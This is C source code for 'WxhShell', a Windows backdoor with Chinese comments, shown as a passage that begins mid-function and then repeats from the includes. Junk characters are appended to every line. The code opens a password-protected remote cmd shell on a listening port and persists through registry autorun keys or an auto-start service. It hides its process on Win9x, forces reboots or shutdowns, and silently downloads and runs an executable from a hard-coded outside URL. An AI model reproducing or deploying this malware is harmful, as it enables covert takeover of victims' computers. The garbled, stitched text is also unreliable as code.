    if(Boot(SHUTDOWN)) 0qUap*fvC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1}M.}G2u/  
    else { meD (ja  
    closesocket(wsh); `v{X@x  
    ExitThread(0); =eLb"7C#0  
    } OYy !4Fp  
    break; 'U0I.x(  
    } 3 pH` ]m2  
  // 获取shell {xoo9jq-  
  case 's': { Xkm2C)  
    CmdShell(wsh); -d)n0)9  
    closesocket(wsh); !QspmCo+  
    ExitThread(0); dkp[?f)x  
    break; -{%''(G  
  } yE9.]j  
  // 退出 /~5YTe( F  
  case 'x': { Y"%o\DS*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \ \}/2#1=c  
    CloseIt(wsh); PCfs6.*5Mf  
    break; X($SBUS6  
    } zL}hFmh  
  // 离开 ~B\:  
  case 'q': { HwuPjc#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %.U{):lNx  
    closesocket(wsh); {3Wc<&D C1  
    WSACleanup(); 93DBZqN  
    exit(1); ,RO(k4  
    break; .p}Kl$K]  
        } 1hS~!r'qqv  
  } x@}Fn:c!5  
  } ,O!aRvzap  
Z$XpoDbOy  
  // 提示信息 LS$82UB&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h'KtG<+  
} PtOnj)Q  
  } KHN ,SB  
}O  
  return; l$9,  
} 74(J7  
1iDo$]TEK  
// shell模块句柄 Af<>O$$6  
int CmdShell(SOCKET sock) "6QMa,)D  
{ XCriZ|s  
STARTUPINFO si; @E;pT3; )  
ZeroMemory(&si,sizeof(si)); - S-1<xR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .Tv(1HAc2l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9#6/c  
PROCESS_INFORMATION ProcessInfo; #Q7$I.O]  
char cmdline[]="cmd"; N Z`hy>LF^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i`'^ zR(`i  
  return 0; oy: MM  
} 2&URIQg*J  
#{,IY03  
// 自身启动模式 V/e_:xECC  
int StartFromService(void) p]eD@3Wz  
{ V+z)B+  
typedef struct eMzCAO  
{ -5.%{Go$[  
  DWORD ExitStatus; |hoZ:  
  DWORD PebBaseAddress; QovC*1'  
  DWORD AffinityMask; s\!vko'M  
  DWORD BasePriority; q:^Cw8  
  ULONG UniqueProcessId; >IjLFM+U  
  ULONG InheritedFromUniqueProcessId; I9>*Yy5RNS  
}   PROCESS_BASIC_INFORMATION; q+~CA[H5K  
{Z.@-Tl_  
PROCNTQSIP NtQueryInformationProcess; *xP:7K  
^ ni_%`Ag  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t7FQ.E,T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5zOSb$;  
EZBzQ""  
  HANDLE             hProcess; >,Z{wxz J  
  PROCESS_BASIC_INFORMATION pbi; A o$z )<d'  
DA~ELje^j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q;nr=f7Ys  
  if(NULL == hInst ) return 0; K/cK6Yr  
nUHVPuQ/'T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O%e.u>=4%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C|LQYz-{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EQC  
f*Js= hvO  
  if (!NtQueryInformationProcess) return 0; _9r{W65s  
^j}sS!p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {m:R v&T  
  if(!hProcess) return 0; W^Y0>W~  
; bE6Y]"Rz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B$EP'5@b  
cU|jT8Q4H  
  CloseHandle(hProcess); =U2n"du  
a*y mBGF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x$DJ  
if(hProcess==NULL) return 0; V"iLeC  
|pSoBA9U  
HMODULE hMod; IoOnS)  
char procName[255]; !@k@7~i  
unsigned long cbNeeded; MDt?7c  
c\MDOD%9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \-ws[  
V.:A'!$#  
  CloseHandle(hProcess); Dj"=kL0  
I xBO$ 2  
if(strstr(procName,"services")) return 1; // 以服务启动 n4y6Ua9m{  
%;$Y|RbmqE  
  return 0; // 注册表启动 ><c5Humr  
} 38i,\@p`9$  
K9'*q3z  
// 主模块 8-YrmP2k  
int StartWxhshell(LPSTR lpCmdLine) WEAXqDjM  
{ +Ob#3PRy  
  SOCKET wsl; );H[lKy  
BOOL val=TRUE; >nEnX  
  int port=0; s;$TX304  
  struct sockaddr_in door; [)vwg`]   
Cq;d2u0)o$  
  if(wscfg.ws_autoins) Install(); J?fh3RW9  
l}c2l'  
port=atoi(lpCmdLine); mXj Ljgc}  
UROi.976D  
if(port<=0) port=wscfg.ws_port; q.{/{9  
!5t 3Y  
  WSADATA data; 4{t$M}?N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2tm-:CPG  
tuV?:g?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T?{9Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v=-3 ,C  
  door.sin_family = AF_INET; "e<. n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z}8L}:  
  door.sin_port = htons(port); :=v{inN  
#q.G_-H4J@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b)^ZiRW``  
closesocket(wsl); u?Mu*r?  
return 1; $OoN/^kv  
} [qMdOY%jx  
? 4Juw?  
  if(listen(wsl,2) == INVALID_SOCKET) { 2_b'mepV  
closesocket(wsl); ~(^*?(Z  
return 1; G>>u#>0  
} u@u.N2H.%  
  Wxhshell(wsl); )uuEOF"w  
  WSACleanup(); chzR4"WZFt  
D-:<]D:  
return 0; rss.F3dK  
UC/2&7 ?  
} v1g5(  
UDtbfc7bk  
// 以NT服务方式启动 \&)W#8V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F>(#Af9  
{ BG0M j2  
DWORD   status = 0; v/.h%6n?  
  DWORD   specificError = 0xfffffff; u;qMo`-  
~(OIo7#;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vD9D:vK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 05I39/T%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A=]F_  
  serviceStatus.dwWin32ExitCode     = 0; 810<1NP  
  serviceStatus.dwServiceSpecificExitCode = 0; 3N0X?* (x|  
  serviceStatus.dwCheckPoint       = 0; E?4@C"Na  
  serviceStatus.dwWaitHint       = 0; q)xl$*g  
v |2q2bz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q4LlToHn  
  if (hServiceStatusHandle==0) return; - zw{<+;  
^J~A+CEf"W  
status = GetLastError(); w[oQ}5?9'  
  if (status!=NO_ERROR) P`I G9  
{ (,c?}TP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A-C)w/7  
    serviceStatus.dwCheckPoint       = 0; ]O=S2Q  
    serviceStatus.dwWaitHint       = 0; -<JBKPtA  
    serviceStatus.dwWin32ExitCode     = status; [*{\R`M  
    serviceStatus.dwServiceSpecificExitCode = specificError; +xBK^5/x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Y>%Dr&  
    return; VSpt&19  
  } wW! r}I#  
X+E\]X2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KSB_%OI1  
  serviceStatus.dwCheckPoint       = 0; Yj7= T%5  
  serviceStatus.dwWaitHint       = 0; 6aZt4Lw2\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >dvWa-rNUT  
} Bx : So6:  
(X_,*3Yxk  
// 处理NT服务事件,比如:启动、停止 .>64h H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &}6ES{Nr8  
{ M:UB>-`bW  
switch(fdwControl) $< K)fbG  
{ hN:F8r+DG  
case SERVICE_CONTROL_STOP: G1;'nwf}  
  serviceStatus.dwWin32ExitCode = 0; ) UDJ[pL@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; avt>saR  
  serviceStatus.dwCheckPoint   = 0; ~{,vg4L  
  serviceStatus.dwWaitHint     = 0; j YIV^o 0  
  { :e<`U~8m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tb0;Mbr  
  } PUjoi@]  
  return; Ie&b <k  
case SERVICE_CONTROL_PAUSE: hp]ng!I{\u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +fP/|A8P  
  break; 'W?v.W &  
case SERVICE_CONTROL_CONTINUE: JQ/t, v$G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [[0bhmG)  
  break; Q^MXiE O+  
case SERVICE_CONTROL_INTERROGATE: ]%<Q:+38  
  break; &e]]F#  
}; Ce5w0&VlS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hi3sOK*r;<  
} O? Gl4_y  
<[y$D=n  
// 标准应用程序主函数 $]H=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hLytKPgt  
{ k Kp6  
bxhg*A  
// 获取操作系统版本 2^ ,H_PS  
OsIsNt=GetOsVer(); <{NYD .  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h-b5   
42J';\)oP  
  // 从命令行安装 1ntkM?  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y=:KM~2hv  
}6CXJ+-UR  
  // 下载执行文件 N;x<| %peL  
if(wscfg.ws_downexe) { LE<u&9I\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~6-"i0k  
  WinExec(wscfg.ws_filenam,SW_HIDE); si^4<$Nr%j  
} Z`oaaO  
Od!F: <  
if(!OsIsNt) { ^YG7dd_  
// 如果时win9x,隐藏进程并且设置为注册表启动 5&?KW)6 Rz  
HideProc(); (3N"oE.b]  
StartWxhshell(lpCmdLine); .A*VLF*m  
} oGJ*Rn)Z  
else W%>i$:Qq  
  if(StartFromService()) ,5\2C{  
  // 以服务方式启动 t8DL9RW'  
  StartServiceCtrlDispatcher(DispatchTable); &>W  (l.  
else fKT Dt%  
  // 普通方式启动 `*" H/QG  
  StartWxhshell(lpCmdLine); (zs4#ja2,  
p2Dh3)&  
return 0; < g3du~  
} rQcRjh+E H  
U R1JbyT  
B.22 DuE#  
0i5y(m&7  
=========================================== bB:r]*_ s]  
3`fJzS%O  
+HOCVqx  
:WK"-v  
e8AjO$49  
mvHh"NJ  
" :Su#xI  
P.LuF(?$  
#include <stdio.h> g5tjj.  
#include <string.h> Qe>i{:N  
#include <windows.h> x)ddRq l  
#include <winsock2.h> |*tWF! D6`  
#include <winsvc.h> IpWy)B>Fl3  
#include <urlmon.h> $hjP}- oUX  
M&qh]v gC  
#pragma comment (lib, "Ws2_32.lib") 'dIX=/RZ  
#pragma comment (lib, "urlmon.lib") v[{8G^Z}54  
F l_dzh,E  
#define MAX_USER   100 // 最大客户端连接数 b^[W_y  
#define BUF_SOCK   200 // sock buffer *L%6qxl`V  
#define KEY_BUFF   255 // 输入 buffer %RQC9!  
f0 uUbJ5  
#define REBOOT     0   // 重启 eVw\v#gd  
#define SHUTDOWN   1   // 关机 [j)\v^m  
.M9d*qp`S  
#define DEF_PORT   5000 // 监听端口 }+9 1s'/c  
j+DE|Q&]I  
#define REG_LEN     16   // 注册表键长度 3h9Sz8  
#define SVC_LEN     80   // NT服务名长度 ORGv)>C|  
bQ-Gp;]  
// 从dll定义API E`Jp(gK9F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tZaD${  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {OB-J\7Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +}_Pf{MW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J [ YtA  
|SGgy|/a#  
// wxhshell配置信息 4S,.R  
struct WSCFG { nu&_gF,{  
  int ws_port;         // 监听端口 1t/dxB;  
  char ws_passstr[REG_LEN]; // 口令 W@I 02n2 H  
  int ws_autoins;       // 安装标记, 1=yes 0=no  Y{B9`Z  
  char ws_regname[REG_LEN]; // 注册表键名 RAIVdQ}.Z  
  char ws_svcname[REG_LEN]; // 服务名 0a"igH}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D JLiZS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vkd[: CC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dB@Wn!Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m#oh?@0}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )W&o?VRfO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GWF/[%  
qbS'|--wH  
}; XR*Q|4  
QS3U)ZO$@  
// default Wxhshell configuration ]43alf F#  
struct WSCFG wscfg={DEF_PORT, hi!L\yi  
    "xuhuanlingzhe", Y,k(#=wg  
    1, -Y*VgoK%  
    "Wxhshell", .z=U= _e  
    "Wxhshell", weNzYMf%  
            "WxhShell Service", "pt+Fe|@c;  
    "Wrsky Windows CmdShell Service", Dt.0YKF  
    "Please Input Your Password: ", aSc{Ft/O  
  1, 6!P`XTTE  
  "http://www.wrsky.com/wxhshell.exe", yiiyqL*E  
  "Wxhshell.exe" Ne3R.g9;Z  
    }; Lltc 4Mzw  
OnZF6yfN=3  
// 消息定义模块 b,nn&B5@{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OE_ QInb<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q`XW5VV{K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7FAIew\r  
char *msg_ws_ext="\n\rExit.";  l B1#  
char *msg_ws_end="\n\rQuit."; 24#bMt#^  
char *msg_ws_boot="\n\rReboot..."; !Citzor  
char *msg_ws_poff="\n\rShutdown..."; Ls&+XlrX8  
char *msg_ws_down="\n\rSave to "; JkZ50L  
x&'o ]Y  
char *msg_ws_err="\n\rErr!"; c\At0.QCA  
char *msg_ws_ok="\n\rOK!"; /\ytr%7,'  
=WC-Sj{I  
char ExeFile[MAX_PATH]; !RS9%ES_?  
int nUser = 0; rJ'/\Hh5P  
HANDLE handles[MAX_USER]; puOC60zI  
int OsIsNt; K*~]fy  
2@vJ  
SERVICE_STATUS       serviceStatus; n5|l|#c$N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; COR;e`%,  
Jlp<koy  
// 函数声明 mw_ E&v  
int Install(void); VZ$=6CavH  
int Uninstall(void); ^$!987"  
int DownloadFile(char *sURL, SOCKET wsh); WvujcmOf  
int Boot(int flag); %m9CdWb=w  
void HideProc(void); Bs[nV}c>>  
int GetOsVer(void); ["}A S:  
int Wxhshell(SOCKET wsl); P''X_1oMC  
void TalkWithClient(void *cs); +noZ<KFW "  
int CmdShell(SOCKET sock); S=' wJ@?;  
int StartFromService(void); Ht#@'x  
int StartWxhshell(LPSTR lpCmdLine); Cezh l  
PocYFhWQ`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qD#VbvRc9+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bp#:UUO%S  
2R]&v;A  
// 数据结构和表定义 9M_(He -  
SERVICE_TABLE_ENTRY DispatchTable[] = Z`Pd2VRp  
{ 6SVqRD<`  
{wscfg.ws_svcname, NTServiceMain}, 6xoq;=o  
{NULL, NULL} EM@ ;3.IO  
}; ibJHU@l  
-T7xK/  
// 自我安装 4[TR0bM%  
int Install(void) 7 {f_fkbs  
{ [*)Z!)  
  char svExeFile[MAX_PATH]; ZPHXzi3j  
  HKEY key; btH _HE  
  strcpy(svExeFile,ExeFile); 5o#Yt  
FW8-'~  
// 如果是win9x系统,修改注册表设为自启动 rz%<AF Z  
if(!OsIsNt) { \ p4*$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -?<4Og[^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XF|WCZUnY%  
  RegCloseKey(key); Q.+|xwz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [$\z'}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \?DR s  
  RegCloseKey(key); k6!4Zz_8  
  return 0; (DDyK[t+VX  
    } C)Jn[/BD  
  } ME^ ,'&  
} ,`32!i  
else { GMW,*if8p  
3LDsxE=N:q  
// 如果是NT以上系统,安装为系统服务 Gs dnf 7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Rrg8{DZhv  
if (schSCManager!=0)  iEIg:  
{ ?7[alV~  
  SC_HANDLE schService = CreateService '9s5OTkN ;  
  ( w5KPB5/zu  
  schSCManager, 1f#mHt:(  
  wscfg.ws_svcname, 99=s4*xzM  
  wscfg.ws_svcdisp, 1zftrX~v!X  
  SERVICE_ALL_ACCESS, cu&,J#r%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zP!J/}z  
  SERVICE_AUTO_START, >O7~h[FN  
  SERVICE_ERROR_NORMAL, p@YB?#Im  
  svExeFile, Zj*\"Ol  
  NULL, PWB(5 f?  
  NULL, 7\XE,;4>  
  NULL, 9b;A1gu  
  NULL, Xl_Uz8Hp  
  NULL rR,2UZR  
  ); TeQNFo^_8  
  if (schService!=0) 6Pn8f  
  { p'n4)I2#  
  CloseServiceHandle(schService); 4v'A\~ZU  
  CloseServiceHandle(schSCManager); ^V3v{>D>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0)!Ll*L!p  
  strcat(svExeFile,wscfg.ws_svcname); &\C [@_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 93O;+Z5J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O7t(,uox3y  
  RegCloseKey(key); 8FkFM^\1L  
  return 0; a%BeqSZh  
    } -n5 B)uw=  
  } }-@4vl x$  
  CloseServiceHandle(schSCManager); ' GG=Ebt  
} 6rN(_Oi-  
} x;\wY'  
Y+~g\z-]c  
return 1; x9W(cKB'S  
} /mM2M-  
O 5 Nb  
// 自我卸载 ?!VIS>C(  
int Uninstall(void) v$wBxCY  
{ q<#>HjC  
  HKEY key; vuQ%dDxI  
-e u]:4  
if(!OsIsNt) { !xIm2+:(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;8{cA_&  
  RegDeleteValue(key,wscfg.ws_regname); ]i*](UQ  
  RegCloseKey(key); ,`A?!.K$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { " =] -%B  
  RegDeleteValue(key,wscfg.ws_regname); QK`i%TXJ  
  RegCloseKey(key); Cx_Q: 6T  
  return 0; !0,Mp@ j/  
  } ,TJ D$^  
} ;z~n.0'  
} nqVZqX@oE  
else { kcie}Be  
=*vMA#e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2[fN\e{  
if (schSCManager!=0) MZJ]Dwt]  
{ HO)/dZNU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p&-'|'![l  
  if (schService!=0) 'R<&d}@P*#  
  { 9@ 16w  
  if(DeleteService(schService)!=0) { 9Z5D\yv?H  
  CloseServiceHandle(schService); 5kNzv~4B,;  
  CloseServiceHandle(schSCManager); SLfFqc+n0  
  return 0; 'CZa3ux  
  } X|D!VX>#!  
  CloseServiceHandle(schService); l`-bFmpA  
  } R%D'`*+  
  CloseServiceHandle(schSCManager); U$dh1;  
} h].~#*  
} VdSv  
WKz> !E%  
return 1; 9`//^8G:=  
} -u!FOD/  
`1OgYs  
// 从指定url下载文件 2lKV#9"  
int DownloadFile(char *sURL, SOCKET wsh) A5'NGt  
{ k67a'pmyJ  
  HRESULT hr; P + "Y  
char seps[]= "/"; jw}}^3.  
char *token; #@@Mxr'F  
char *file; 0Uk@\[1ox  
char myURL[MAX_PATH]; jOpcV|2  
char myFILE[MAX_PATH]; 9+s.w25R  
ml|W~-6l  
strcpy(myURL,sURL); Cv ejb+  
  token=strtok(myURL,seps); ?Iyo9&1&  
  while(token!=NULL) )}vNOE?X~  
  { obrl#(\P  
    file=token; vDl- "!G1  
  token=strtok(NULL,seps); \#-W <  
  } :0)3K7Q   
{j5e9pg1L|  
GetCurrentDirectory(MAX_PATH,myFILE); cKb)VG^  
strcat(myFILE, "\\"); ]ul$*  
strcat(myFILE, file); x_Jwd^`t!  
  send(wsh,myFILE,strlen(myFILE),0); R" )bDy?  
send(wsh,"...",3,0); uEyH2QO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'I;!pUfVp  
  if(hr==S_OK) km^^T_ M/  
return 0; Ofm%:}LV  
else n+lOb  
return 1; VvFC -r,=G  
l\M_-:I+4  
}  z@|GC_L  
;,i]w"*  
// 系统电源模块 Uw,2}yR  
int Boot(int flag) ~8"8w(CG*I  
{ ay "'#[  
  HANDLE hToken; \I"Z2N>^z  
  TOKEN_PRIVILEGES tkp; R8rfM?"W  
\0lnxLA  
  if(OsIsNt) { *BuUHjTv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @/ZF` :   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oI)GKA_Ng7  
    tkp.PrivilegeCount = 1; ?Kvl!F!`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ae:zWk'!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }ENR{vz$A  
if(flag==REBOOT) { +dA,P\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P=3RLL<l  
  return 0; W^3uEm&l!)  
} / XnhmqWm%  
else { b=~i)`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D +_oVob\  
  return 0; 5JEbe   
} DvvT?K  
  } `n$5+a+  
  else { lWBb4 !l  
if(flag==REBOOT) { pV4Whq$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mUS_(0q  
  return 0; |6=p{ y  
} xI>A6  
else { &Tl 0Pf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^rvx!?zO  
  return 0; =+ t^f  
} WTImRXK4  
} K'K2X-E  
TuW%zF/  
return 1; rx (2yf  
} N3u((y/  
>#,G}xf  
// win9x进程隐藏模块 6#IU*  
void HideProc(void) PJcwH6m  
{ G$ _yy:  
s'kDk2r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %Y!Yvw^&P(  
  if ( hKernel != NULL ) ^v.,y3  
  { @?YRuwp L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vjjSKP6B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,+~rd4a  
    FreeLibrary(hKernel); \P1S|ufv  
  } r5!/[_l  
CHV*vU<N  
return; kcb.Wz~=  
} %W@v2  
}Tf9S<xpq3  
// 获取操作系统版本 p~*UpU8u  
int GetOsVer(void) 71vkyn@"  
{ JH:0 L  
  OSVERSIONINFO winfo; !S&L*OH,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Bz5-ITX   
  GetVersionEx(&winfo); $Y5)(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o.q/O)'V u  
  return 1; :n /@z4#  
  else |&Ym@Jyj  
  return 0; 6252N]*  
} f4L`.~b'hb  
TEDAb >  
// 客户端句柄模块 rj6#1kt  
int Wxhshell(SOCKET wsl) O(+phRwJ  
{ }:Z#}8  
  SOCKET wsh; H,N)4;F<c  
  struct sockaddr_in client; =m5SK5vLKT  
  DWORD myID; ?_I[,N?@41  
NJNJjdD>  
  while(nUser<MAX_USER) SR DXfkoI  
{ 4wrk2x[  
  int nSize=sizeof(client); XoA+MuDzpo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,=l7:n  
  if(wsh==INVALID_SOCKET) return 1; tU_y6  
irN6g#B?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -WYAN:s  
if(handles[nUser]==0) P;k0W>~k  
  closesocket(wsh); z )HD`Ho  
else h,Q3oy\s1  
  nUser++; QR1{ w'c  
  } d> {nQF;c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qL,tYJ<m%  
wC5ee:u C%  
  return 0; 1UKg=A-q  
} F^hBtfz  
W"Gkq!3u{  
// 关闭 socket }g4 M2|  
void CloseIt(SOCKET wsh) H<^/Ati,|  
{ <n(*Xak{a  
closesocket(wsh); }[M`uZ  
nUser--; :UQTEdc{  
ExitThread(0); RIIitgV_  
} g55`A`5%C  
h[PYP5{L  
// 客户端请求句柄 }fKSqB]T-  
void TalkWithClient(void *cs)  =|9H  
{ 9'r:~ O  
R9B&dvG  
  SOCKET wsh=(SOCKET)cs; +"1NC\<*  
  char pwd[SVC_LEN]; {l |E:>Q2  
  char cmd[KEY_BUFF]; T8^5=/  
char chr[1]; < P`u}  
int i,j; |^A;&//  
.jj$Kh q]  
  while (nUser < MAX_USER) { Ek6MYc8<b~  
9]e V?yoA8  
if(wscfg.ws_passstr) { $ aUo aI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;X?mmv'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); clk[/'1  
  //ZeroMemory(pwd,KEY_BUFF); ,mj@sC>  
      i=0; ~q~MoN<R  
  while(i<SVC_LEN) { w+N> h;j  
aXL{TD:]  
  // 设置超时 {RF-sqce  
  fd_set FdRead; &B|D;|7H  
  struct timeval TimeOut; zD<or&6  
  FD_ZERO(&FdRead); / 4lvP  
  FD_SET(wsh,&FdRead); g H G  
  TimeOut.tv_sec=8; NOp609\^  
  TimeOut.tv_usec=0; V =-WYu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aJcf`<p   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 95z]9UL  
ca>Z7qT!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0pbtH8~  
  pwd=chr[0]; ;6!Pwb;hY  
  if(chr[0]==0xd || chr[0]==0xa) { c_V;DcZ  
  pwd=0; :hM/f  
  break; G>q(iF'  
  } Ud!4"<C_  
  i++; 7[.6axL  
    } ` P9XqWr  
K3=3~uY  
  // 如果是非法用户,关闭 socket 6qp%$>$Vt;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [/X4"D-uOK  
} ldp%{"ZZ  
L@gWzC~?Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LU9A#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "70WUx(\t  
C[%OkPR,H  
while(1) { V<j.xd7  
#H0dZ.$b0  
  ZeroMemory(cmd,KEY_BUFF); 65Cg]Dt71  
R%'^gFk 8  
      // 自动支持客户端 telnet标准   [3@):8  
  j=0; A$w4PVS  
  while(j<KEY_BUFF) { !U5Wr+83  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,%)6jYHRw  
  cmd[j]=chr[0]; T,VY.ep/  
  if(chr[0]==0xa || chr[0]==0xd) { DS'n  
  cmd[j]=0; ~}+Hgi  
  break; o0pII )v  
  } h}xeChw]  
  j++; %%4t~XC#  
    } %wSj%>&-R  
cra+T+|>Kc  
  // 下载文件 U\R}`l  
  if(strstr(cmd,"http://")) { kP?KXT3y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); et }T %~T  
  if(DownloadFile(cmd,wsh)) [AW" D3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Ei0d8Uo  
  else @U2qD  J6  
